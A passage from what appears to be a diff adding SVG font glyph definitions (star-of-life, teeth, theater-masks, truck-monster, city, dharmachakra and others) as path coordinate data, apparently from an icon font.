-32h-160c-17.6611 0 -32 14.3389 -32 32v160c0 17.6611 14.3389 32 32 32h160z" /> + <glyph glyph-name="star-of-life" unicode="" horiz-adv-x="480" +d="M471.99 113.57c7.66016 -4.41992 10.2793 -14.2002 5.85938 -21.8506l-32.0195 -55.4297c-4.41992 -7.66016 -14.21 -10.2803 -21.8701 -5.86035l-135.93 78.4307v-156.86c0 -8.83984 -7.16992 -16 -16.0107 -16h-64.0391c-8.84082 0 -16.0107 7.16016 -16.0107 16 +v156.85l-135.93 -78.4297c-7.66016 -4.41016 -17.4502 -1.79004 -21.8701 5.86035l-32.0195 55.4297c-4.41992 7.65039 -1.80078 17.4404 5.85938 21.8604l135.931 78.4297l-135.931 78.4297c-7.66016 4.41992 -10.2793 14.21 -5.85938 21.8604l32.0195 55.4199 +c4.41992 7.65039 14.21 10.2803 21.8701 5.86035l135.93 -78.4307v156.86c0 8.83984 7.16992 16 16.0107 16h64.0391c8.84082 0 16.0107 -7.16016 16.0107 -16v-156.85l135.93 78.4297c7.66016 4.41992 17.4502 1.79004 21.8701 -5.86035l32.0195 -55.4297 +c4.41992 -7.66016 1.80078 -17.4404 -5.85938 -21.8604l-135.931 -78.4297z" /> + <glyph glyph-name="teeth" unicode="" horiz-adv-x="640" +d="M544 448c53.0195 0 96 -42.9805 96 -96v-320c0 -53.0195 -42.9805 -96 -96 -96h-448c-53.0195 0 -96 42.9805 -96 96v320c0 53.0195 42.9805 96 96 96h448zM160 80v64c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-64 +c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM160 208v64c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-64c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16zM304 88v56c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-56 +c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM304 208v88c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-88c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM448 88v56c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-56 +c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM448 208v88c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-88c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM576 80v64c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-64 +c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM576 208v64c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-64c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16z" /> + <glyph glyph-name="teeth-open" unicode="" horiz-adv-x="640" +d="M544 448c53.0195 0 96 -42.9805 96 -96v-64c0 -35.3496 -28.6602 -64 -64 -64h-512c-35.3398 0 -64 28.6504 -64 64v64c0 53.0195 42.9805 96 96 96h448zM160 272v32c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-32c0 -8.83984 7.16016 -16 16 -16h64 +c8.83984 0 16 7.16016 16 16zM304 272v56c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-56c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM448 272v56c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-56c0 -8.83984 7.16016 -16 16 -16h80 +c8.83984 0 16 7.16016 16 16zM576 272v32c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-32c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16zM576 128c35.3398 0 64 -28.6504 64 -64v-32c0 -53.0195 -42.9805 -96 -96 -96h-448 +c-53.0195 0 -96 42.9805 -96 96v32c0 35.3496 28.6602 64 64 64h512zM160 48v32c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM304 56v24c0 8.83984 -7.16016 16 -16 16h-80 +c-8.83984 0 -16 -7.16016 -16 -16v-24c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM448 56v24c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-24c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM576 48v32c0 8.83984 -7.16016 16 -16 16h-64 +c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48z" /> + <glyph glyph-name="theater-masks" unicode="" horiz-adv-x="640" +d="M206.86 202.85l-7.62988 -43.1797c-21.0908 -7.21973 -38.5 -18.2002 -49.9004 -30.9199c-2.41992 32.9004 21.6504 63.6504 57.5303 74.0996zM95.8096 153c5.87012 -33.1699 64.3203 -71.8096 111.931 -84.79c10.5596 -27.0996 25.9795 -50.5 39.5 -67.5801 +c-3.25977 -0.339844 -6.41992 -0.799805 -10.0098 -0.799805c-68.1201 0 -190.221 61.5596 -204.45 142.08l-31.7305 179.51c-4.96973 28.0996 7.98047 56.0996 32.1504 69.5205c67.8193 37.6396 143.46 57.0596 220.12 57.0596c23.9199 0 47.9492 -1.88965 71.8594 -5.7002 +c17.29 -2.76953 31.7803 -13.0498 41.7705 -27c-19.1299 -0.769531 -38.29 -2.2998 -57.1807 -5.31934c-19.8594 -3.1709 -37.6396 -12.5303 -51.5898 -26c-1.62012 0.0195312 -3.23926 0.189453 -4.84961 0.189453c-65.8896 0 -131.25 -16.9502 -189.01 -49.0098 +c0.0400391 -0.0302734 -0.530273 -1.03027 -0.240234 -2.65039zM193.36 290.46c3.83984 -21.7002 -10.6904 -42.4004 -32.4404 -46.2197c-21.7598 -3.82031 -42.5 10.6699 -46.3398 32.3701c-0.730469 4.12012 -0.610352 8.15918 -0.0898438 12.0996 +c10.8096 -5.57031 24.8301 -7.75 39.4795 -5.16992c14.6504 2.57031 27.0703 9.41016 35.3203 18.3203c1.83984 -3.53027 3.33984 -7.28027 4.07031 -11.4004zM606.8 327.1c24.1699 -13.4092 37.1201 -41.4092 32.1504 -69.5195l-31.7305 -179.51 +c-15.3896 -87.0508 -156.83 -151.931 -219.859 -140.84c-63.0303 11.0791 -173.7 120.3 -158.311 207.35l31.7305 179.51c4.95996 28.1006 26.7295 50 54.04 54.3604c100.55 16.0596 203 -1.96973 291.979 -51.3506zM333.56 230.3 +c-0.729492 -4.12012 -0.609375 -8.16016 -0.0791016 -12.1094c10.8096 5.56934 24.8291 7.75 39.4795 5.16992c14.6504 -2.57031 27.0703 -9.41016 35.3203 -18.3203c1.83984 3.53027 3.33984 7.28027 4.06934 11.4004c3.83008 21.6992 -10.6895 42.3896 -32.4492 46.2197 +c-21.7607 3.83008 -42.5 -10.6602 -46.3408 -32.3604zM404.03 31.54c55.6699 -9.79004 108.2 23.7803 122.38 75.7197c-28.1104 -16.9697 -68.6504 -24.21 -111.93 -16.5996c-43.2803 7.60938 -78.8906 28.2402 -99.4902 53.7803 +c-4.48047 -53.6309 33.3594 -103.11 89.04 -112.9zM534.33 182.88c1.83984 3.52051 3.33984 7.27051 4.07031 11.4004c3.83008 21.7002 -10.7002 42.3896 -32.4502 46.2197c-21.7598 3.82031 -42.5 -10.6699 -46.3398 -32.3701 +c-0.730469 -4.12012 -0.610352 -8.16016 -0.0908203 -12.0996c10.8105 5.56934 24.8301 7.75 39.4805 5.16992c14.6504 -2.57031 27.0801 -9.41016 35.3301 -18.3203z" /> + <glyph glyph-name="traffic-light" unicode="" horiz-adv-x="384" +d="M384 256c0 -41.7402 -26.7998 -76.9004 -64 -90.1201v-37.8799h64c0 -42.8398 -28.25 -78.6904 -66.9902 -91.0498c-12.4297 -57.6699 -63.6094 -100.95 -125.01 -100.95s-112.58 43.2803 -125.01 100.95c-38.7402 12.3594 -66.9902 48.21 -66.9902 91.0498h64v37.8799 +c-37.2002 13.2197 -64 48.3799 -64 90.1201h64v37.8799c-37.2002 13.2197 -64 48.3799 -64 90.1201h64v32c0 17.6699 14.3301 32 32 32h192c17.6699 0 32 -14.3301 32 -32v-32h64c0 -41.7402 -26.7998 -76.9004 -64 -90.1201v-37.8799h64zM192 32 +c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM192 160c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM192 288c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48 +s-48 -21.4902 -48 -48s21.4902 -48 48 -48z" /> + <glyph glyph-name="truck-monster" unicode="" horiz-adv-x="640" +d="M624 224c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16.71c-29.21 38.6504 -75.0996 64 -127.28 64c-52.1797 0 -98.0693 -25.3496 -127.279 -64h-65.4502c-29.21 38.6504 -75.1006 64 -127.28 64s-98.0703 -25.3496 -127.28 -64h-16.7197 +c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16v80c0 8.83984 7.16016 16 16 16h176v96c0 17.6699 14.3301 32 32 32h113.24c20.2227 -0.00292969 38.2441 -9.35645 49.9795 -24.0195l83.1807 -103.98h73.5996c17.6699 0 32 -14.3301 32 -32v-64h16z +M288 320h132.44l-51.2002 64h-81.2402v-64zM592 96c8.83984 0 16 -7.16016 16.0195 -16v-32c0 -8.83984 -7.15918 -16 -16 -16h-5.19922c-2.1709 -7.26172 -5.11426 -14.3359 -8.65039 -20.8896l3.66992 -3.66992c6.25 -6.25 6.25 -16.3809 0 -22.6309l-22.6299 -22.6299 +c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-3.66992 3.66992c-6.62012 -3.58008 -13.5703 -6.44922 -20.9004 -8.64941v-5.2002c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v5.2002c-7.33008 2.2002 -14.29 5.08008 -20.8994 8.64941 +l-3.66992 -3.66992c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309l3.66992 3.66992c-3.58008 6.60938 -6.44922 13.5596 -8.64941 20.8896h-5.2002c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h5.2002 +c2.16992 7.26172 5.11426 14.3359 8.64941 20.8896l-3.66992 3.66992c-6.25 6.25 -6.25 16.3809 0 22.6309l22.6299 22.6299c6.25 6.25 16.3809 6.25 22.6309 0l3.66992 -3.66992c6.60938 3.58008 13.5596 6.44922 20.8896 8.64941v5.2002c0 8.83984 7.16016 16 16 16h32 +c8.83984 0 16 -7.16016 16 -16v-5.2002c7.26172 -2.16992 14.3359 -5.11426 20.8896 -8.64941l3.66992 3.66992c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309l-3.66992 -3.66992 +c3.58008 -6.60938 6.44922 -13.5596 8.64941 -20.8896h5.2002zM480 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM272 96c8.83984 0 16 -7.16016 16.0195 -15.9902v-32c0 -8.83984 -7.15918 -16 -16 -16h-5.19922 +c-2.1709 -7.26074 -5.11426 -14.3359 -8.65039 -20.8896l3.66992 -3.66992c6.25 -6.25 6.25 -16.3799 0 -22.6299l-22.6299 -22.6299c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-3.66992 3.66992c-6.62012 -3.58008 -13.5703 -6.4502 -20.9004 -8.65039v-5.2002 +c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v5.2002c-7.33008 2.2002 -14.29 5.08008 -20.8994 8.65039l-3.66992 -3.66992c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3799 0 22.6299l3.66992 3.66992 +c-3.58008 6.61035 -6.44922 13.5596 -8.64941 20.8896h-5.2002c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h5.2002c2.16992 7.26172 5.11426 14.3359 8.64941 20.8906l-3.66992 3.66992c-6.25 6.25 -6.25 16.3799 0 22.6299l22.6299 22.6201 +c6.25 6.25 16.3809 6.25 22.6309 0l3.66992 -3.66992c6.60938 3.58008 13.5596 6.44922 20.8896 8.64941v5.2002c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-5.2002c7.26172 -2.16992 14.3359 -5.11426 20.8896 -8.64941l3.66992 3.66992 +c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309l-3.66992 -3.66992c3.58008 -6.60938 6.44922 -13.5596 8.64941 -20.8896h5.2002zM160 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48 +s21.4902 -48 48 -48z" /> + <glyph glyph-name="truck-pickup" unicode="" horiz-adv-x="640" +d="M624 160c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-49.5996c0.759766 -5.26953 1.60938 -10.5195 1.60938 -16c0 -61.8604 -50.1396 -112 -112 -112c-61.8594 0 -112 50.1396 -112 112c0 5.48047 0.850586 10.7305 1.61035 16h-67.2305 +c0.760742 -5.26953 1.61035 -10.5195 1.61035 -16c0 -61.8604 -50.1396 -112 -112 -112s-112 50.1396 -112 112c0 5.48047 0.849609 10.7305 1.61035 16h-49.6104c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16v64c0 17.6699 14.3301 32 32 32h160v128 +c0 17.6699 14.3301 32 32 32h113.24c20.2227 -0.00292969 38.2441 -9.35645 49.9795 -24.0195l108.78 -135.98h48c17.6699 0 32 -14.3301 32 -32v-64h16zM288 352v-96h158.04l-76.7998 96h-81.2402zM176 32c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48 +s-48 -21.5303 -48 -48s21.5303 -48 48 -48zM464 32c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48s21.5303 -48 48 -48z" /> + <glyph glyph-name="ad" unicode="" +d="M157.52 176l18.4805 53.2197l18.4805 -53.2197h-36.9609zM352 192c13.2305 0 24 -10.7695 24 -24s-10.7695 -24 -24 -24s-24 10.7695 -24 24s10.7695 24 24 24zM464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288 +c0 26.5 21.5 48 48 48h416zM250.58 96c11 0 18.7197 10.8496 15.1104 21.25l-53.6904 154.62c-3.25586 9.3877 -12.1758 16.1299 -22.666 16.1299h-0.00390625h-26.6602l0.00292969 0.00585938c-10.4873 0 -19.4131 -6.74219 -22.6729 -16.126l-53.7002 -154.63 +c-3.60938 -10.4004 4.11035 -21.25 15.1201 -21.25h16.9404c0.00195312 0 -0.000976562 -0.00390625 0.000976562 -0.00390625c6.99316 0 12.9453 4.49609 15.1191 10.7539l7.37988 21.25h70.29l7.36914 -21.25c2.24023 -6.42969 8.31055 -10.75 15.1201 -10.75h16.9404z +M424 112v160c0 8.83984 -7.16016 16 -16 16h-16c-8.83984 0 -16 -7.16016 -16 -16v-36.4199c-7.54004 2.68945 -15.54 4.41992 -24 4.41992c-39.7002 0 -72 -32.2998 -72 -72s32.2998 -72 72 -72c9.92969 0 19.4004 2.01953 28.0195 5.67969 +c2.94043 -3.41016 7.13086 -5.67969 11.9805 -5.67969h16c8.83984 0 16 7.16016 16 16z" /> + <glyph glyph-name="ankh" unicode="" horiz-adv-x="320" +d="M296 192c13.25 0 24 -10.7402 24 -24v-32c0 -13.25 -10.75 -24 -24 -24h-96v-152c0 -13.25 -10.75 -24 -24 -24h-32c-13.25 0 -24 10.75 -24 24v152h-96c-13.25 0 -24 10.75 -24 24v32c0 13.2598 10.75 24 24 24h44.6201c-21.0801 33.9902 -36.6201 74.3496 -36.6201 112 +c0 88.3701 57.3096 144 128 144s128 -55.6299 128 -144c0 -37.6504 -15.54 -78.0098 -36.6201 -112h44.6201zM160 368c-29.6104 0 -48 -24.5195 -48 -64c0 -34.6602 27.1396 -78.1504 48 -100.87c20.8604 22.7305 48 66.21 48 100.87c0 39.4805 -18.3896 64 -48 64z" /> + <glyph glyph-name="bible" unicode="" horiz-adv-x="448" +d="M448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320 +c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM144 304v-32c0 -8.83984 7.16016 -16 16 -16h48v-112c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v112h48c8.83984 0 16 7.16016 16 16v32 +c0 8.83984 -7.16016 16 -16 16h-48v48c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-48h-48c-8.83984 0 -16 -7.16016 -16 -16zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" /> + <glyph glyph-name="business-time" unicode="" horiz-adv-x="640" +d="M496 224c79.5898 0 144 -64.4102 144 -144s-64.4102 -144 -144 -144s-144 64.4102 -144 144s64.4102 144 144 144zM560 73.71v12.5801c0 5.33984 -4.37012 9.70996 -9.70996 9.70996h-38.29v54.2803c0 5.33984 -4.37012 9.70996 -9.70996 9.70996h-12.5703 +c-5.33984 0 -9.70996 -4.37012 -9.70996 -9.70996v-76.5703c0 -5.33984 4.37012 -9.70996 9.70996 -9.70996h60.5703c5.33984 0 9.70996 4.37012 9.70996 9.70996zM496 256c-37.5303 0 -72.2803 -11.9102 -100.88 -32h-395.12v80c0 25.5996 22.4004 48 48 48h80v48 +c0 25.5996 22.4004 48 48 48h160c25.5996 0 48 -22.4004 48 -48v-48h80c25.5996 0 48 -22.4004 48 -48v-48.8096c-5.28027 0.479492 -10.5996 0.80957 -16 0.80957zM320 352v32h-128v-32h128zM326.82 128c-4.33984 -15.2803 -6.82031 -31.3398 -6.82031 -48 +c0 -28.8203 7.09961 -55.96 19.4297 -80h-291.43c-25.5996 0 -48 22.4004 -48 48v144h192v-48c0 -8.83984 7.16016 -16 16 -16h118.82z" /> + <glyph glyph-name="city" unicode="" horiz-adv-x="640" +d="M616 256c13.25 0 24 -10.7402 24 -24v-264c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v360c0 13.2598 10.7402 24 24 24h40v80c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-80h64v80c0 8.83984 7.16016 16 16 16h16 +c8.83984 0 16 -7.16016 16 -16v-80h64v72c0 13.2598 10.7402 24 24 24h144c13.2598 0 24 -10.7402 24 -24v-168h136zM128 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12z +M128 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM128 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40 +c6.62988 0 12 5.37012 12 12zM256 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM256 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40 +c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM256 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 140v40c0 6.62988 -5.37012 12 -12 12h-40 +c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 332v40 +c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM576 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40 +c6.62988 0 12 5.37012 12 12zM576 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12z" /> + <glyph glyph-name="comment-dollar" unicode="" +d="M256 416c141.38 0 256 -93.1201 256 -208s-114.62 -208 -256 -208c-38.4102 0 -74.71 7.07031 -107.4 19.3799c-24.6094 -19.6299 -74.3398 -51.3799 -140.6 -51.3799l-0.00195312 0.00195312c-4.41309 0 -7.99512 3.58301 -7.99512 7.99512 +c0 2.13184 0.835938 4.06934 2.19727 5.50293c0.5 0.530273 42.2598 45.4502 54.8193 95.7598c-35.6094 35.7305 -57.0195 81.1807 -57.0195 130.74c0 114.88 114.62 208 256 208zM280 113.56c30.29 3.62012 53.3701 30.9805 49.3203 63.04 +c-2.90039 22.96 -20.6602 41.3105 -42.9102 47.6699l-50.0703 14.3008c-3.59961 1.0293 -6.12012 4.35938 -6.12012 8.10938c0 4.64062 3.78027 8.41992 8.44043 8.41992h32.7803c0.0214844 0 0.0634766 -0.0126953 0.0859375 -0.0126953 +c3.62891 0 7.07422 -0.790039 10.1738 -2.20703c4.7998 -2.20996 10.3701 -1.70996 14.1094 2.03027l17.5205 17.5195c5.26953 5.27051 4.66992 14.2705 -1.5498 18.3799c-9.5 6.27051 -20.3604 10.1104 -31.7803 11.46v17.7305c0 8.83984 -7.16016 16 -16 16h-16 +c-8.83984 0 -16 -7.16016 -16 -16v-17.5498c-30.29 -3.62012 -53.3701 -30.9805 -49.3203 -63.0498c2.90039 -22.96 20.6602 -41.3203 42.9102 -47.6699l50.0703 -14.3008c3.59961 -1.0293 6.12012 -4.35938 6.12012 -8.10938 +c0 -4.64062 -3.78027 -8.41992 -8.44043 -8.41992h-32.7803c-3.59961 0 -7.0791 0.759766 -10.2598 2.21973c-4.7998 2.20996 -10.3701 1.70996 -14.1094 -2.03027l-17.5205 -17.5195c-5.26953 -5.27051 -4.66992 -14.2705 1.5498 -18.3799 +c9.5 -6.27051 20.3604 -10.1104 31.7803 -11.46v-17.7305c0 -8.83984 7.16016 -16 16 -16h16c8.83984 0 16 7.16016 16 16v17.5596z" /> + <glyph glyph-name="comments-dollar" unicode="" horiz-adv-x="576" +d="M416 256c0 -88.3701 -93.1201 -160 -208 -160c-40.9805 0 -79.0703 9.24023 -111.27 24.9805c-21.8008 -12.7305 -52.1504 -24.9805 -88.7305 -24.9805l-0.00195312 0.00195312c-4.41309 0 -7.99512 3.58301 -7.99512 7.99512 +c0 2.13184 0.835938 4.06934 2.19727 5.50293c0.319336 0.339844 22.4102 24.2803 35.7695 54.5195c-23.8398 26.0303 -37.9697 57.7109 -37.9697 91.9805c0 88.3701 93.1201 160 208 160s208 -71.6299 208 -160zM192 160c0 -4.41992 3.58008 -8 8 -8h16 +c4.41992 0 8 3.58008 8 8v16.1201c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104 +c4.55957 0 8.94922 -1.29004 12.8193 -3.71973c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16 +c-4.41992 0 -8 -3.58008 -8 -8v-16.1201c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104 +c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29zM538.01 36.0098 +c13.3604 -30.2598 35.4707 -54.1699 35.7803 -54.5c2.20996 -2.33008 2.82031 -5.72949 1.5498 -8.66992c-1.25 -2.92969 -4.13965 -4.83984 -7.33984 -4.83984c-36.5801 0 -66.9297 12.25 -88.7305 24.9805c-32.1992 -15.7402 -70.2891 -24.9805 -111.27 -24.9805 +c-86.2305 0 -160.2 40.3701 -191.73 97.8799c10.4102 -1.11035 20.9502 -1.87988 31.7305 -1.87988c132.34 0 240 86.1299 240 192c0 6.78027 -0.469727 13.4697 -1.33008 20.0703c75.8398 -23.8701 129.33 -81.1299 129.33 -148.07 +c0 -34.2695 -14.1299 -65.96 -37.9902 -91.9902z" /> + <glyph glyph-name="cross" unicode="" horiz-adv-x="384" +d="M352 320c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-96v-224c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v224h-96c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h96v96c0 17.6699 14.3301 32 32 32 +h64c17.6699 0 32 -14.3301 32 -32v-96h96z" /> + <glyph glyph-name="dharmachakra" unicode="" +d="M495 222.94c9.20996 0.569336 17 -6.74023 17.0098 -15.9707v-29.9395c0 -9.23047 -7.79004 -16.5498 -17 -15.9707l-17.2197 1.08008c-5.28027 -39.4795 -20.7998 -75.6299 -43.8604 -105.83l12.9502 -11.4297c6.91992 -6.09961 7.25977 -16.7803 0.730469 -23.3096 +l-21.1699 -21.1699c-6.52051 -6.52051 -17.2002 -6.19043 -23.3105 0.729492l-11.4297 12.9502c-30.2002 -23.0703 -66.3506 -38.5898 -105.84 -43.8604l1.08008 -17.2197c0.569336 -9.20996 -6.74023 -17 -15.9707 -17h-29.9395c-9.23047 0 -16.5498 7.79004 -15.9707 17 +l1.09082 17.2197c-39.4902 5.28027 -75.6406 20.7998 -105.841 43.8604l-11.4297 -12.9502c-6.09961 -6.91992 -16.7803 -7.25977 -23.3096 -0.729492l-21.1699 21.1699c-6.52051 6.51953 -6.19043 17.1992 0.729492 23.3096l12.9502 11.4297 +c-23.0703 30.1904 -38.5898 66.3408 -43.8604 105.83l-17.2197 -1.08008c-9.20996 -0.569336 -17 6.74023 -17 15.9707v29.9395c0 9.23047 7.79004 16.5498 17 15.9707l17.2197 -1.08008c5.28027 39.4893 20.7998 75.6396 43.8604 105.84l-12.9502 11.4297 +c-6.91992 6.10059 -7.25977 16.7803 -0.729492 23.3105l21.1699 21.1592c6.51953 6.52051 17.1992 6.19043 23.3096 -0.729492l11.4297 -12.9502c30.1904 23.0703 66.3408 38.5898 105.83 43.8604l-1.08008 17.2197c-0.569336 9.20996 6.74023 17 15.9707 17h29.9395 +c9.23047 0 16.5498 -7.79004 15.9707 -17l-1.07031 -17.21c39.4795 -5.28027 75.6299 -20.7998 105.83 -43.8604l11.4297 12.9404c6.10059 6.91992 16.7803 7.25977 23.3105 0.729492l21.1592 -21.1592c6.52051 -6.52051 6.19043 -17.2002 -0.729492 -23.3105 +l-12.9502 -11.4297c23.0703 -30.2002 38.5898 -66.3506 43.8604 -105.84zM281.84 349.39l-4.00977 -64.1201c10.2998 -2.40918 19.8896 -6.50977 28.6201 -11.9492l42.6201 48.29c-19.6006 14.1201 -42.4199 23.71 -67.2305 27.7793zM230.16 349.39 +c-24.8105 -4.06934 -47.6299 -13.6592 -67.2305 -27.7793l42.6201 -48.29c8.73047 5.42969 18.3301 9.54004 28.6201 11.9492zM126.39 285.06c-14.1201 -19.5996 -23.71 -42.4092 -27.7793 -67.2197l64.1201 -4.00977c2.41992 10.29 6.51953 19.8896 11.96 28.6201z +M98.6104 166.16c4.06934 -24.8105 13.6592 -47.6299 27.7793 -67.2305l48.29 42.6201c-5.42969 8.73047 -9.54004 18.3301 -11.9492 28.6201zM230.16 34.6104l4 64.1201c-10.29 2.41992 -19.8906 6.51953 -28.6201 11.96l-42.6104 -48.3008 +c19.6006 -14.1201 42.4199 -23.71 67.2305 -27.7793zM256 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM281.84 34.6104c24.8105 4.06934 47.6201 13.6592 67.2197 27.7793l-42.6094 48.3008 +c-8.73047 -5.44043 -18.3301 -9.55078 -28.6201 -11.96zM385.61 98.9404c14.1201 19.5898 23.71 